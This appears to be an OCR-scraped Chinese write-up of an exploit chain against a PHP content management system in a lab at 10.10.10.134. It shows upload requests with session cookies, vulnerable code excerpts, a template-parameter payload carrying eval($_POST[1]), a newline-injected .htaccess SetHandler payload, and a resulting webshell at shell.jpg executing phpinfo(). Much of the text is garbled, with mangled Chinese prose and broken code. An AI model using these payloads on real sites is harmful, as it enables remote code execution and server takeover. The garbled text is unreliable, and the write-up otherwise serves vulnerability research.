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Sorry,You do this is wrong! (.-)

if (isset($_GET)){$GetArray=$ GET; {$GetArray=""3}
foreach ($GetArray as $value){
verify_str($value);
contorl.php
exit(‘Sorry,You do this is wrong!

inject_check sql{$sql_str) {

return preg_match( AN J$sql_str);

verify str($str) {

if(inject check sql($str)) {
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141 http:/110.10.10.134 GET JArMInTh_Admin/’ 5_Uplo v 200 3625 HTML php age; DalescO én 10,10
1142 http:10.10.10.134 POST  /1rMn7h_Admin/ 5 _Upfl . 200 2797 HTML php ey D% e én 10.10.
<
i
’| | Request | Response
i| | Raw | Params | Headers | Hex
GET /1 rMn7h_Admin/f i 7Up|uad.priu?\mageur\:..,'Images;’default/’&ﬁ\ed:webilogo&ﬁledname:form I‘ITFP/‘I A
Host: 10.10.10.134
User-Agent: Mozilla/5.0 (Vindows NT 10.0; 'Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
| Accept: text/html,application/x<html+xml,application/xml;q=0.9,image/webp*/q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-T\W;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.10.134/1rMn7h_Admin/ _Configphp
Cookie: __tins_ 4329483 ="%7B %22sid%22%3A%201620111211945%2C%20%22vd %22%3A%201 %2 C %20%2 2expires%22%3 A%201620113011945%7D; _S1cke_=; _S51laig_=1;
PHPSESSID =n08n2girl5jdppvrano788go03; _atuvc=1%7C18; __atuvs=6090ef98d1157129000; scusername = %E67%680%8 B %EE %B47%6A6%E5%8F %B7; scuseradmin=Admin;
scuserpass=cdcad238a0b923820dcc509a6f75849k
yUpgrade-Insecure-Requests: 1
4
141 http://10.10.10.134 GET ArMnTh_Admin/’ 3_Uplo... v 200 3625 HTML php agég DakaicTen. . 10.10.10
142 http.//10.10.10.134 POST [AMnTh_Admin/' =m =% Upfil | 200 2797 HTML php ey Davee G0 10.10.10
-
S

Request | Response

Raw | Params | Headers | Hex

POST /1rMn7h_Admin/ _Upfilephp HTTR/1.1

Host: 10.10.10.134

User-Agent: Mozilla/S.0 (Nindows NT 10.0; 'Win64; x64; rnv:88.0) Gecko/20100101 Firefox/88.0

Accept: text/html,application/xhtml+xml,application/<ml;q=0.9,image /webp,*/*:q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3 en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundany=-----mmmmmmmmmmmmmeeeo 168540844028124360014269660555

Content-Length: 71533

Origin: httpy//10.10.10.134

Connection: close

Referer: http://10.10.10.134/1rMn7h_Admin, _Upload.php?lmageurl=./Images/default/&filed=web_logo&ifiledname="form

Cookie: __tins__ 4329483 = %7B %22sid%22%3A%2016207111211945%2C%20%22vd %22 %3 A%201 %2C%20%2 2expires %22 %3 A%201620113011945%
PHPSESSID=n08n2gir5jdppvrqno788go03; _atuve=1%7C18; _atuvs=6090ef98d1157129000; scusername = %E6%80%B B %E8 %84 %A6 %ES %8F %l
scuserpass=c4cad238a0b923820dcc509a6f75849b

Upgrade-Insecure-Requests: 1

;_Slcke_=; _S5llaig_=1;
7; scuseradmin=Admin;

————————————————————————————— 168540844028124360014269660555
Content-Disposition: form-data; name="wname"

lala

-168540844028124360014269660555
Content-Disposition: form-data; name="file"; filename = "QQi¥EIZ20210318180715 jpg"
Content-Type: image/jpeg

O0000JFIFO000000000000CO00000000000000

FEREAMEMIZZAE upfile. php XD3CHH, TRBMEZBRERZX DG

. ms_Upfile.php X

$uptype = explode(".",$ FILES["fi

< —c Aldntrmmn AN .
$kuozm=strtolo Lduntimolis

if (preg_match( $kuozm) && ($ FILES["fi
{

if ($ FILES["f 1> e)
1
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IXHEEEZI MG logo & A] A EAE zip SCAHRY, IXIEFRIBARE] 7RSS zip MXEVIRTE, AR5
Pl LT seay HIWEEH A EXHE IR

echo BN RTFEETI TR, BIRSTFIESSIRR /A dnin/f @ _Upload php Cinput type="hidden” nans="filedname” id="filedname” value="7php echo $_GET["filednams"];
echo B4 PTFTI OIS TE, AISTEIISSIRE /h_idnin/mm =9 Upload php <input type="hidden” name="imagenrl” 1d="imagewl” value="¢7php echo $_GET["Imagewl”]; ?
echo 4 PTFTIOE T, AISTEIISSIRE /A _idnin/. gl 5_Uploads. php <input type="hidden” mme!”mageurl” 1d="imageurl” value="¢?php echo $_GET["Imageurl”]; v>
echo L P IAISER, AIRTFIXSsiRA /h_idmin/ =% _Uploadsd. php ¢input type="hidden” name="imagewl” id="imagewl” value="¢?php echo $_GET["Imagewl”];

SQLEAselect P RAFEBLHI SR, AIRIFISILEARE /A _User. php $row = mysqli_i fetch _array($db_conn— >mry( 'SELECT * FROM sc_user WHERE ID=".§_GET[ID ]J)

hpmtsbosn{GETLID ]

b /Include/" . $tenplate_sb

echo%{ﬁ.f.dﬂffj T8, Al LSS
5 -

_User. php Cinput type= plisddesmsinssL

SRS d:T‘T‘xE BIRETAEE, BN /MRS /12 /h_hdnin/Include/Function. php file_put_con Tt CMPIaEUrT —SOUTPUT,T

TEHBETAR ISR, AT R RREL MR /2 /A_Adnin/Inelude/Function. php unlink ($£ilename)

SQUEA)sel ect RFTBEPH|SRIP, SIRETFIESIWEATRE /A _Adnin/Include/Function. php $query=hdb_conn->query(“select * from sc_info where languageID=$Language and info_lenmu <
SQLIFAlsel ectrp FF TR XL SRIA, FIRFHESWEATRE /A _Adnin/Include/Function. php $query=bdb_conn—>query(*select * from so_products where languagelD=$Language order by ID as
SQLIEBlsel ectp FHF TR L LS| ERIA, BIRTFESLEATRE /A Adnin/Include/function. php $query=db_conn—>query(*select * from sc_categories where languagelD=jLangusge and categor
SQLIEBlsel ectp FHF TR XL ERIP, SIRTFESLEATRE /A Adnin/Include/function. php $query=db_conn—>query(“select * from sc_menu where languagelD=fLanguagze order by memu_pai
SQLIEAlsel ect P RIFTEEX B3I ER4A, AIRAFTISQUEATRA /A Adnin/Include/function. phy squem-sab corn—>query(“select * from sc_products where languageID=fLanzuage and products
SNTER 2] ansrh M IFRTE P IEL40. SIEEHFFTT L EBA A4 ddein Tealada /fon, ke -t A%y

FE—FX SQUEN Fl xss $&Rmf, ARSI TiIX DA IR ETT 462 — ML RS, B FIT 625 %
(fn: file_get_contents('../".$xxx) ) XFERIVETLAAT zip X T, FKIRAIBERFRX N EHEEL
TE SCUAR I R E R TS

function.php X

AT

Mbapp ($mb, $1ujin,$mblujin,$dirpaths,$htmlopen){

if ($htmlope
5_Function.php 2% (2
Mbapp($_GET[mb’], Sjtop... $template="
Mbapp($_GET['ml $row[langu... $template mb=explode(”,",$template);

Sonhply for($i=0;$i<count($template mb);$i++){

on Mbapp($mb,$lujin, $mblujin

$template o = file get contents($mblujin. ]e .$mb. .$template mb[$i]);

$templateUrl = $lujin.str_replace( $ml."/","", $template mb[$i]);

$output = str_replace( ' <{Temp >', $mb, $template 0);

$output = str_replace('<{di }>', $dirpaths, $output);
file_put_contents($templateurl, $output);

i
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seif ($CF=="template"){

$jtopen=ChecInfo("sc_config","ID R I ] ",$db_conn);

%db conn->query("update on Template ="".$% GET['mb"]."
$query=$db_conn->query( re lan
if (mysqli num rows($query)>8){

while($row=mysqli fetch array($query)){

if ($row[ ' 1: mulu®]==1)}{

MBAPB($ GET['mb'1,"../"|"../","",$jtopen);

Mbapp($ GET[ 'mb'],"../"}$row[ " language url']."/","../","../",$jtopen);

1
I
header ("Location:SEMCMS Template.php”);

if ($CF=="sitemap"){

XAV, BATATLAE R $Smblujin BARIE, EEWZREIEN, ZNEMNSIREZEHELN, H2
AR NERZAERT $mb

if ($htmlopen==1){$ml="7";}else{$ml="d";}

$template="1ir php,hta/".$ml."/.htad
$template mb=explode(”,",$template);

for($i=0;%i<count($template mb);$i++){

$template o = file_get_contents($mblujinL"Eﬂ /' .$mb. .$template mb[$i]);

$templatelir] = %lujin.str _replace("hta/". $ml."/" . "" 4template mb[$i]);
$output = str replace(’ 0 » $mb, $template o0);
$output = str_replace( <{dirpaths}>", $dirpaths, $output);

file put contents($templateurl, $output);

b

X=2 SRR BB EEE, FHART <{Template}> WAL $mb FINE, AEES ZIW
UEIRE SRR

IXEXT file_get_contents fEAPHEFATERT 08U, [RIva] DUEH —DAFAERSF4, A)RIE
LR E RS, AT
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file_get_contents(

) "Web.php"
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v Templete '\ default
> Css
> Images
v Include
v hta\d
htaccess
404.html
about.php
Bot.php
contact.php
default.php
download.php
Function.ohp
index.php
info.php
news.php
product.php
search.php

Top.php

view.php

index.php EM Templete/default/Include EFIH); .htaccess EM
Templete/default/Include/hta/d EFIf

—HaRIARE R B K Shell 5] index.php, SERERTE .php XHNEME HEAEN, EE
index.php KGR

<?php

include_once '<{dirpaths}>Include/web_inc.php"';

include_once '<{dirpaths}>Templete/<{Template}>/Include/Function.php';
$file_url="<{dirpaths}>";

include_once '<{dirpaths}>Templete/<{Template}>/Include/default.php’;
?>

XEASAREAIETREASRSS, FRIEmINEEREMITH, &5 default BFRIERATSCAF
Ko
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Payload:index.php';eval($_POST[1]);/../default

BESRMELF TR E L RIT T

“Function.php X

. PHP_3.9 > A_Admin > i_Function.php > ...

AntDateProcess();

HIZVIF Function.php XHEAT, FAXEAT —PMRNER, HEHARIEIZE X,

_Function. php

> Include > contorl.phy AntDateProcess

L
I

~eturn ($ip ? $ip : $ SERVER[ 'REMOTE ADDR']);

FntDatePPDcegs{

AntAdd($table,$field,$val,$db conn){
$strs="";
foreach($val as $value){

WAL E Y, KT EEMGIRES R Include/contorl . php XA E XY, XA
RIFGAFZ AL WAF I8, 1&! Wt 2B INIAMER Payload AT, EAMRS|SSREIEH,
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i nclude.php > ..
%" _Function.php iclude.phy

Function.
nXian=checkuser($db_conn

html PUBLIC

5_Top_include.php S...
=

1
include_once ' IFLE® Fu.. § X

HIEMERIEERE T

BEAR index.php XHFFIAT, ARstEE#ERS, WA .htaccess AEARE Getshell, RIEEHKATZRTE
— MR BB, IR EEE A YE php XIE#EATRIRT, S5EE .htaccess XS

RewriteEngine On
RewriteCond %{http_host} Asem-cms.com [NC]
RewriteRule A(.*)$ http://www.sem-cms.com/$1 [L,R=301]

<Files ~ “A.(htaccess|htpasswd)$”>
deny from all
</Files>

RewriteRule Aproduct.php$
<{dirpaths}>Templete/<{Template}>/Include/product\.php

RewriteRule Aabout.php$ <{dirpaths}>Templete/<{Template}>/Include/about\.php
RewriteRule Acontact.php$
<{dirpaths}>Templete/<{Template}>/Include/contact\.php

RewriteRule Adownload.php$
<{dirpaths}>Templete/<{Template}>/Include/download\.php

RewriteRule Anews.php$ <{dirpaths}>Templete/<{Template}>/Include/news\.php
RewriteRule Ainfo.php$ <{dirpaths}>Templete/<{Template}>/Include/info\.php
RewriteRule Aview.php$ <{dirpaths}>Templete/<{Template}>/Include/view\.php
RewriteRule Asearch.php$ <{dirpaths}>Templete/<{Template}>/Include/search\.php
Errorbocument 404 /Templete/<{Template}>/Include/404.html

AT DLRERTIR N AR S, R B I TR S AR TEZERINN, &EREmATAE R # TR
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Payload:index.php%0asetHandler application/x-httpd-php%0a%23/../../default
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Payload:Top_include.php?CF=template&mb=index.php%0aSetHandler application/x-
httpd-php%0a%23/../../default

BB TRHIR YT R Fr

y@yalJFIF0000y0C 00000 0000 00000 DO0D00#0%$"071&+7/8)4)!"0A149;> > >%.DIC;yUCO 000 DOODD;("

justdoit

PHP Version 5.4.45 r
System Windows NT NDSEC-PC 6.1 build 7601 (Windows 7 Enterprise Edition Service Pack 1)
1586
Build Date Sep 2 2015 23:45:53
Compiler MSVC9 (Visual C++ 2008)
[w ﬂ Elements Consale Sources Performance Network Application Memory Lighthouse HackBar HackBar EditThisCookie HackTools AdBlock
LOAD SPLIT EXECUTE TEST -~ sqLl - XSs - LFI - SSTI - ENCODING -~ HASHING ~

http://10.10.10.134/Images/default/shell.jpg

Enable POST application/x-www-form-urlencoded v ADD HEADER

v=phpinfo();
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